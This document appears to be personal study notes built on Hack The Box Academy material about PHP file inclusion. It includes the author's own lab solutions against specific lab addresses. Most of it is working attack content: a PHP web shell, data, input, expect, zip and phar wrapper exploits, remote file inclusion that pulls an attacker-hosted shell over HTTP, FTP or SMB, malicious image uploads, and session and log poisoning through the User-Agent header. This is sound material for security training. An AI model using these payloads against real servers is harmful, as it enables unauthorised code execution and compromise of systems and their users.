Remote Code Execution
PHP Wrappers
Data
The data wrapper can be used to include external data, including PHP code. However, the data wrapper is only available to use if the (allow_url_include
) setting is enabled in the PHP configurations. So, let's first confirm whether this setting is enabled, by reading the PHP configuration file through the LFI vulnerability.
Checking PHP Configurations
To do so, we can include the PHP configuration file found at (/etc/php/X.Y/apache2/php.ini
) for Apache or at (/etc/php/X.Y/fpm/php.ini
) for Nginx, where X.Y
is your install PHP version. We can start with the latest PHP version, and try earlier versions if we couldn't locate the configuration file. We will also use the base64
filter we used in the previous section, as .ini
files are similar to .php
files and should be encoded to avoid breaking. Finally, we'll use cURL or Burp instead of a browser, as the output string could be very long and we should be able to properly capture it:
eldeim@htb[/htb]$ curl "http://<SERVER_IP>:<PORT>/index.php?language=php://filter/read=convert.base64-encode/resource=../../../../etc/php/7.4/apache2/php.ini"
<!DOCTYPE html>
<html lang="en">
...SNIP...
<h2>Containers</h2>
W1BIUF0KCjs7Ozs7Ozs7O
...SNIP...
4KO2ZmaS5wcmVsb2FkPQo=
<p class="read-more">
Once we have the base64 encoded string, we can decode it and grep
for allow_url_include
to see its value:
eldeim@htb[/htb]$ echo 'W1BIUF0KCjs7Ozs7Ozs7O...SNIP...4KO2ZmaS5wcmVsb2FkPQo=' | base64 -d | grep allow_url_include
allow_url_include = On
Excellent! We see that we have this option enabled, so we can use the data
wrapper. Knowing how to check for the allow_url_include
option can be very important, as this option is not enabled by default
, and is required for several other LFI attacks, like using the input
wrapper or for any RFI attack, as we'll see next. It is not uncommon to see this option enabled, as many web applications rely on it to function properly, like some WordPress plugins and themes, for example.
Remote Code Execution
With allow_url_include
enabled, we can proceed with our data
wrapper attack. As mentioned earlier, the data
wrapper can be used to include external data, including PHP code. We can also pass it base64
encoded strings with text/plain;base64
, and it has the ability to decode them and execute the PHP code.
So, our first step would be to base64 encode a basic PHP web shell, as follows:
eldeim@htb[/htb]$ echo '<?php system($_GET["cmd"]); ?>' | base64
PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+Cg==
Now, we can URL encode the base64 string, and then pass it to the data wrapper with data://text/plain;base64,
. Finally, we can use pass commands to the web shell with &cmd=<COMMAND>
:
http://<SERVER_IP>:<PORT>/index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id

We may also use cURL for the same attack, as follows:
eldeim@htb[/htb]$ curl -s 'http://<SERVER_IP>:<PORT>/index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id' | grep uid
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Input
Similar to the data
wrapper, the input wrapper can be used to include external input and execute PHP code. The difference between it and the data
wrapper is that we pass our input to the input
wrapper as a POST request's data. So, the vulnerable parameter must accept POST requests for this attack to work. Finally, the input
wrapper also depends on the allow_url_include
setting, as mentioned earlier.
To repeat our earlier attack but with the input
wrapper, we can send a POST request to the vulnerable URL and add our web shell as POST data. To execute a command, we would pass it as a GET parameter, as we did in our previous attack:
eldeim@htb[/htb]$ curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' "http://<SERVER_IP>:<PORT>/index.php?language=php://input&cmd=id" | grep uid
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Note: To pass our command as a GET request, we need the vulnerable function to also accept GET request (i.e. use $_REQUEST
). If it only accepts POST requests, then we can put our command directly in our PHP code, instead of a dynamic web shell (e.g. <\?php system('id')?>
)
Expect
Finally, we may utilize the expect wrapper, which allows us to directly run commands through URL streams. Expect works very similarly to the web shells we've used earlier, but don't need to provide a web shell, as it is designed to execute commands.
However, expect is an external wrapper, so it needs to be manually installed and enabled on the back-end server, though some web apps rely on it for their core functionality, so we may find it in specific cases. We can determine whether it is installed on the back-end server just like we did with allow_url_include
earlier, but we'd grep
for expect
instead, and if it is installed and enabled we'd get the following:
eldeim@htb[/htb]$ echo 'W1BIUF0KCjs7Ozs7Ozs7O...SNIP...4KO2ZmaS5wcmVsb2FkPQo=' | base64 -d | grep expect
extension=expect
As we can see, the extension
configuration keyword is used to enable the expect
module, which means we should be able to use it for gaining RCE through the LFI vulnerability. To use the expect module, we can use the expect://
wrapper and then pass the command we want to execute, as follows:
eldeim@htb[/htb]$ curl -s "http://<SERVER_IP>:<PORT>/index.php?language=expect://id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
As we can see, executing commands through the expect
module is fairly straightforward, as this module was designed for command execution, as mentioned earlier. The Web Attacks module also covers using the expect
module with XXE vulnerabilities, so if you have a good understanding of how to use it here, you should be set up for using it with XXE.
These are the most common three PHP wrappers for directly executing system commands through LFI vulnerabilities. We'll also cover the phar
and zip
wrappers in upcoming sections, which we may use with web applications that allow file uploads to gain remote execution through LFI vulnerabilities.
PoCs - Questions
Try to gain RCE using one of the PHP wrappers and read the flag at /
First see the info of php.ini -->
http://94.237.60.55:39692/index.php?language=php://filter/read=convert.base64-encode/resource=../../../../etc/php/7.4/apache2/php.ini


So now, use the wrapper with data://text/plain;base64,
eldeim@htb[/htb]$ echo '<?php system($_GET["cmd"]); ?>' | base64
PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+Cg==
##
view-source:http://94.237.60.55:39692/index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=ls%20-la%20../../../
Remote File Inclusion (RFI)
So far in this module, we have been mainly focusing on Local File Inclusion (LFI)
. However, in some cases, we may also be able to include remote files "Remote File Inclusion (RFI)", if the vulnerable function allows the inclusion of remote URLs. This allows two main benefits:
Enumerating local-only ports and web applications (i.e. SSRF)
Gaining remote code execution by including a malicious script that we host
In this section, we will cover how to gain remote code execution through RFI vulnerabilities. The Server-side Attacks module covers various SSRF
techniques, which may also be used with RFI vulnerabilities.
Verify RFI
In most languages, including remote URLs is considered as a dangerous practice as it may allow for such vulnerabilities. This is why remote URL inclusion is usually disabled by default. For example, any remote URL inclusion in PHP would require the allow_url_include
setting to be enabled. We can check whether this setting is enabled through LFI, as we did in the previous section:
eldeim@htb[/htb]$ echo 'W1BIUF0KCjs7Ozs7Ozs7O...SNIP...4KO2ZmaS5wcmVsb2FkPQo=' | base64 -d | grep allow_url_include
allow_url_include = On
However, this may not always be reliable, as even if this setting is enabled, the vulnerable function may not allow remote URL inclusion to begin with. So, a more reliable way to determine whether an LFI vulnerability is also vulnerable to RFI is to try and include a URL
, and see if we can get its content. At first, we should always start by trying to include a local URL
to ensure our attempt does not get blocked by a firewall or other security measures. So, let's use (http://127.0.0.1:80/index.php
) as our input string and see if it gets included:
http://<SERVER_IP>:<PORT>/index.php?language=http://127.0.0.1:80/index.php

As we can see, the index.php
page got included in the vulnerable section (i.e. History Description), so the page is indeed vulnerable to RFI, as we are able to include URLs. Furthermore, the index.php
page did not get included as source code text but got executed and rendered as PHP, so the vulnerable function also allows PHP execution, which may allow us to execute code if we include a malicious PHP script that we host on our machine.
We also see that we were able to specify port 80
and get the web application on that port. If the back-end server hosted any other local web applications (e.g. port 8080
), then we may be able to access them through the RFI vulnerability by applying SSRF techniques on it.
Note: It may not be ideal to include the vulnerable page itself (i.e. index.php), as this may cause a recursive inclusion loop and cause a DoS to the back-end server.
Remote Code Execution with RFI
The first step in gaining remote code execution is creating a malicious script in the language of the web application, PHP in this case. We can use a custom web shell we download from the internet, use a reverse shell script, or write our own basic web shell as we did in the previous section, which is what we will do in this case:
eldeim@htb[/htb]$ echo '<?php system($_GET["cmd"]); ?>' > shell.php
Now, all we need to do is host this script and include it through the RFI vulnerability. It is a good idea to listen on a common HTTP port like 80
or 443
, as these ports may be whitelisted in case the vulnerable web application has a firewall preventing outgoing connections. Furthermore, we may host the script through an FTP service or an SMB service, as we will see next.
HTTP
Now, we can start a server on our machine with a basic python server with the following command, as follows:
eldeim@htb[/htb]$ sudo python3 -m http.server <LISTENING_PORT>
Serving HTTP on 0.0.0.0 port <LISTENING_PORT> (http://0.0.0.0:<LISTENING_PORT>/) ...
Now, we can include our local shell through RFI, like we did earlier, but using <OUR_IP>
and our <LISTENING_PORT>
. We will also specify the command to be executed with &cmd=id
:
http://<SERVER_IP>:<PORT>/index.php?language=http://<OUR_IP>:<LISTENING_PORT>/shell.php&cmd=id

As we can see, we did get a connection on our python server, and the remote shell was included, and we executed the specified command:
eldeim@htb[/htb]$ sudo python3 -m http.server <LISTENING_PORT>
Serving HTTP on 0.0.0.0 port <LISTENING_PORT> (http://0.0.0.0:<LISTENING_PORT>/) ...
SERVER_IP - - [SNIP] "GET /shell.php HTTP/1.0" 200 -
FTP
As mentioned earlier, we may also host our script through the FTP protocol. We can start a basic FTP server with Python's pyftpdlib
, as follows:
eldeim@htb[/htb]$ sudo python -m pyftpdlib -p 21
[SNIP] >>> starting FTP server on 0.0.0.0:21, pid=23686 <<<
[SNIP] concurrency model: async
[SNIP] masquerade (NAT) address: None
[SNIP] passive ports: None
This may also be useful in case http ports are blocked by a firewall or the http://
string gets blocked by a WAF. To include our script, we can repeat what we did earlier, but use the ftp://
scheme in the URL, as follows:
http://<SERVER_IP>:<PORT>/index.php?language=ftp://<OUR_IP>/shell.php&cmd=id

SMB
If the vulnerable web application is hosted on a Windows server (which we can tell from the server version in the HTTP response headers), then we do not need the allow_url_include
setting to be enabled for RFI exploitation, as we can utilize the SMB protocol for the remote file inclusion. This is because Windows treats files on remote SMB servers as normal files, which can be referenced directly with a UNC path.
We can spin up an SMB server using Impacket's smbserver.py
, which allows anonymous authentication by default, as follows:
eldeim@htb[/htb]$ impacket-smbserver -smb2support share $(pwd)
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
Now, we can include our script by using a UNC path (e.g. \\<OUR_IP>\share\shell.php
), and specify the command with (&cmd=whoami
) as we did earlier:
http://<SERVER_IP>:<PORT>/index.php?language=\\<OUR_IP>\share\shell.php&cmd=whoami

As we can see, this attack works in including our remote script, and we do not need any non-default settings to be enabled. However, we must note that this technique is more likely to work if we were on the same network
, as accessing remote SMB servers over the internet may be disabled by default, depending on the Windows server configurations.
PoCs - Questions
Attack the target, gain command execution by exploiting the RFI vulnerability, and then look for the flag under one of the directories in /

With it, we can verify the RFIm we can target to local index.php, now, exploit it -->
## Create a WebShell
echo '<?php system($_GET["cmd"]); ?>' > shell.php
## Then up the web server
sudo python3 -m http.server 8000
view-source:http://10.129.127.13/index.php?language=http://10.10.15.202:8000/shell.php&cmd=ls%20-la%20/exercise/flag.txt

LFI and File Uploads
Image upload
Crafting Malicious Image
Our first step is to create a malicious image containing a PHP web shell code that still looks and works as an image. So, we will use an allowed image extension in our file name (e.g. shell.gif
), and should also include the image magic bytes at the beginning of the file content (e.g. GIF8
), just in case the upload form checks for both the extension and content type as well. We can do so as follows:
eldeim@htb[/htb]$ echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gif
This file on its own is completely harmless and would not affect normal web applications in the slightest. However, if we combine it with an LFI vulnerability, then we may be able to reach remote code execution.
Now, we need to upload our malicious image file. To do so, we can go to the Profile Settings
page and click on the avatar image to select our image, and then click on upload and our image should get successfully uploaded:

Uploaded File Path
Once we've uploaded our file, all we need to do is include it through the LFI vulnerability. To include the uploaded file, we need to know the path to our uploaded file. In most cases, especially with images, we would get access to our uploaded file and can get its path from its URL. In our case, if we inspect the source code after uploading the image, we can get its URL:
<img src="/profile_images/shell.gif" class="profile-image" id="profile-image">
Note: As we can see, we can use `/profile_images/shell.gif` for the file path. If we do not know where the file is uploaded, then we can fuzz for an uploads directory, and then fuzz for our uploaded file, though this may not always work as some web applications properly hide the uploaded files.
With the uploaded file path at hand, all we need to do is to include the uploaded file in the LFI vulnerable function, and the PHP code should get executed, as follows:
http://<SERVER_IP>:/index.php?language=./profile_images/shell.gif&cmd=id

As we can see, we included our file and successfully executed the id
command.
Note: To include to our uploaded file, we used
./profile_images/
as in this case the LFI vulnerability does not prefix any directories before our input. In case it did prefix a directory before our input, then we simply need to../
out of that directory and then use our URL path, as we learned in previous sections.
Zip Upload
We can utilize the zip wrapper to execute PHP code. However, this wrapper isn't enabled by default, so this method may not always work. To do so, we can start by creating a PHP web shell script and zipping it into a zip archive (named shell.jpg
), as follows:
eldeim@htb[/htb]$ echo '<?php system($_GET["cmd"]); ?>' > shell.php && zip shell.jpg shell.php
Note: Even though we named our zip archive as (shell.jpg), some upload forms may still detect our file as a zip archive through content-type tests and disallow its upload, so this attack has a higher chance of working if the upload of zip archives is allowed.
Once we upload the shell.jpg
archive, we can include it with the zip
wrapper as (zip://shell.jpg
), and then refer to any files within it with #shell.php
(URL encoded). Finally, we can execute commands as we always do with &cmd=id
, as follows:
http://<SERVER_IP>:/index.php?language=zip://./profile_images/shell.jpg%23shell.php&cmd=id

As we can see, this method also works in executing commands through zipped PHP scripts.
Note: We added the uploads directory (./profile_images/
) before the file name, as the vulnerable page (index.php
) is in the main directory.
Phar Upload
Finally, we can use the phar://
wrapper to achieve a similar result. To do so, we will first write the following PHP script into a shell.php
file:
<?php
$phar = new Phar('shell.phar');
$phar->startBuffering();
$phar->addFromString('shell.txt', '<?php system($_GET["cmd"]); ?>');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->stopBuffering();
This script can be compiled into a phar
file that when called would write a web shell to a shell.txt
sub-file, which we can interact with. We can compile it into a phar
file and rename it to shell.jpg
as follows:
eldeim@htb[/htb]$ php --define phar.readonly=0 shell.php && mv shell.phar shell.jpg
Now, we should have a phar file called shell.jpg
. Once we upload it to the web application, we can simply call it with phar://
and provide its URL path, and then specify the phar sub-file with /shell.txt
(URL encoded) to get the output of the command we specify with (&cmd=id
), as follows:
http://<SERVER_IP>:<PORT>/index.php?language=phar://./profile_images/shell.jpg%2Fshell.txt&cmd=id

As we can see, the id
command was successfully executed. Both the zip
and phar
wrapper methods should be considered as alternative methods in case the first method did not work, as the first method we discussed is the most reliable among the three.
Note: There is another (obsolete) LFI/uploads attack worth noting, which occurs if file uploads is enabled in the PHP configurations and the
phpinfo()
page is somehow exposed to us. However, this attack is not very common, as it has very specific requirements for it to work (LFI + uploads enabled + old PHP + exposed phpinfo()). If you are interested in knowing more about it, you can refer to This Link.
PoCs - Questions
Use any of the techniques covered in this section to gain RCE and read the flag at /
First, I create the RCE file -->
echo '<?php system($_GET["cmd"]); ?>' > wshell.php && zip wshell.jpg wshell.php
Then upload into my profile image the wshell.jpg preciously created



Here, doesnt see the url of the image... so... we can see a file with name upload.php, it maybe containt the directory of iamges uploads.
Use the LFI to get the content of upload.php -->
http://94.237.48.12:52545/index.php?language=php://filter/read=convert.base64-encode/resource=upload.php

Now, decode it base64 -->

OKAY, ./profile_images/wshell.jpg so -->

Now, use the ZIP Upload mode -->
http://94.237.48.12:52545/index.php?language=zip://./profile_images/wshell.jpg%23wshell.php&cmd=ls

Log Poisoning
PHP Session Poisoning
Most PHP web applications utilize PHPSESSID
cookies, which can hold specific user-related data on the back-end, so the web application can keep track of user details through their cookies. These details are stored in session
files on the back-end, and saved in /var/lib/php/sessions/
on Linux and in C:\Windows\Temp\
on Windows. The name of the file that contains our user's data matches the name of our PHPSESSID
cookie with the sess_
prefix. For example, if the PHPSESSID
cookie is set to el4ukv0kqbvoirg7nkp4dncpk3
, then its location on disk would be /var/lib/php/sessions/sess_el4ukv0kqbvoirg7nkp4dncpk3
.
The first thing we need to do in a PHP Session Poisoning attack is to examine our PHPSESSID session file and see if it contains any data we can control and poison. So, let's first check if we have a PHPSESSID
cookie set to our session:

As we can see, our PHPSESSID
cookie value is nhhv8i0o6ua4g88bkdl9u1fdsd
, so it should be stored at /var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd
. Let's try include this session file through the LFI vulnerability and view its contents:
http://<SERVER_IP>:<PORT>/index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd
Note: As you may easily guess, the cookie value will differ from one session to another, so you need to use the cookie value you find in your own session to perform the same attack.
We can see that the session file contains two values: page
, which shows the selected language page, and preference
, which shows the selected language. The preference
value is not under our control, as we did not specify it anywhere and must be automatically specified. However, the page
value is under our control, as we can control it through the ?language=
parameter.
Let's try setting the value of page
a custom value (e.g. language parameter
) and see if it changes in the session file. We can do so by simply visiting the page with ?language=session_poisoning
specified, as follows:
http://<SERVER_IP>:<PORT>/index.php?language=session_poisoning
Now, let's include the session file once again to look at the contents:
http://<SERVER_IP>:<PORT>/index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd

This time, the session file contains session_poisoning
instead of es.php
, which confirms our ability to control the value of page
in the session file. Our next step is to perform the poisoning
step by writing PHP code to the session file. We can write a basic PHP web shell by changing the ?language=
parameter to a URL encoded web shell, as follows:
http://<SERVER_IP>:<PORT>/index.php?language=%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E
Finally, we can include the session file and use the &cmd=id
to execute a commands:
http://<SERVER_IP>:<PORT>/index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd&cmd=id

Note: To execute another command, the session file has to be poisoned with the web shell again, as it gets overwritten with
/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd
after our last inclusion. Ideally, we would use the poisoned web shell to write a permanent web shell to the web directory, or send a reverse shell for easier interaction.
Server Log Poisoning
Both Apache
and Nginx
maintain various log files, such as access.log
and error.log
. The access.log
file contains various information about all requests made to the server, including each request's User-Agent
header. As we can control the User-Agent
header in our requests, we can use it to poison the server logs as we did above.
Once poisoned, we need to include the logs through the LFI vulnerability, and for that we need to have read-access over the logs. Nginx
logs are readable by low privileged users by default (e.g. www-data
), while the Apache
logs are only readable by users with high privileges (e.g. root
/adm
groups). However, in older or misconfigured Apache
servers, these logs may be readable by low-privileged users.
By default, Apache
logs are located in /var/log/apache2/
on Linux and in C:\xampp\apache\logs\
on Windows, while Nginx
logs are located in /var/log/nginx/
on Linux and in C:\nginx\log\
on Windows. However, the logs may be in a different location in some cases, so we may use an LFI Wordlist to fuzz for their locations, as will be discussed in the next section.
So, let's try including the Apache access log from /var/log/apache2/access.log
, and see what we get:
http://<SERVER_IP>:<PORT>/index.php?language=/var/log/apache2/access.log

As we can see, we can read the log. The log contains the remote IP address
, request page
, response code
, and the User-Agent
header. As mentioned earlier, the User-Agent
header is controlled by us through the HTTP request headers, so we should be able to poison this value.
Tip: Logs tend to be huge, and loading them in an LFI vulnerability may take a while to load, or even crash the server in worst-case scenarios. So, be careful and efficient with them in a production environment, and don't send unnecessary requests.
To do so, we will use Burp Suite
to intercept our earlier LFI request and modify the User-Agent
header to Apache Log Poisoning
:

As expected, our custom User-Agent value is visible in the included log file. Now, we can poison the User-Agent
header by setting it to a basic PHP web shell:

We may also poison the log by sending a request through cURL, as follows:
eldeim@htb[/htb]$ echo -n "User-Agent: <?php system(\$_GET['cmd']); ?>" > Poison
eldeim@htb[/htb]$ curl -s "http://<SERVER_IP>:<PORT>/index.php" -H @Poison
As the log should now contain PHP code, the LFI vulnerability should execute this code, and we should be able to gain remote code execution. We can specify a command to be executed with (&cmd=id
):

We see that we successfully executed the command. The exact same attack can be carried out on Nginx
logs as well.
Tip: The
User-Agent
header is also shown on process files under the Linux/proc/
directory. So, we can try including the/proc/self/environ
or/proc/self/fd/N
files (where N is a PID usually between 0-50), and we may be able to perform the same attack on these files. This may become handy in case we did not have read access over the server logs, however, these files may only be readable by privileged users as well.
Finally, there are other similar log poisoning techniques that we may utilize on various system logs, depending on which logs we have read access over. The following are some of the service logs we may be able to read:
/var/log/sshd.log
/var/log/mail
/var/log/vsftpd.log
We should first attempt reading these logs through LFI, and if we do have access to them, we can try to poison them as we did above. For example, if the ssh
or ftp
services are exposed to us, and we can read their logs through LFI, then we can try logging into them and set the username to PHP code, and upon including their logs, the PHP code would execute. The same applies the mail
services, as we can send an email containing PHP code, and upon its log inclusion, the PHP code would execute.
PoCs - Questions
Use any of the techniques covered in this section to gain RCE, then submit the output of the following command: pwd
Server Log Poisoning
First, fuff to the LFI to search directories -->
ffuf -u "http://94.237.51.163:32350/index.php?language=FUZZ" -w /usr/share/wordlists/seclists/Fuzzing/LFI/LFI-etc-files-of-all-linux-packages.txt -fs 2286


Now, intercept it with burpsuite -->

With it we can see that the user agent is reflected, so... now input a php webshell in the User-Agent -->

Now, with it we can target to &cmd=id
-->

PHP Sesion Poisoning
After we found the LFI, we need to see what is the cookie:

In this case is a PHPSESSID we know this cookie save into --> /var/lib/php/sessions/sess_2cabpj1b2p455j3iiccr8luurj

We can see too, thsi reflected the until search, in this case, us cookie, so... if y paste in url/LFI a web shell, then they take my command -->


Now i set up a urlencode webshell -->
%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E


Last updated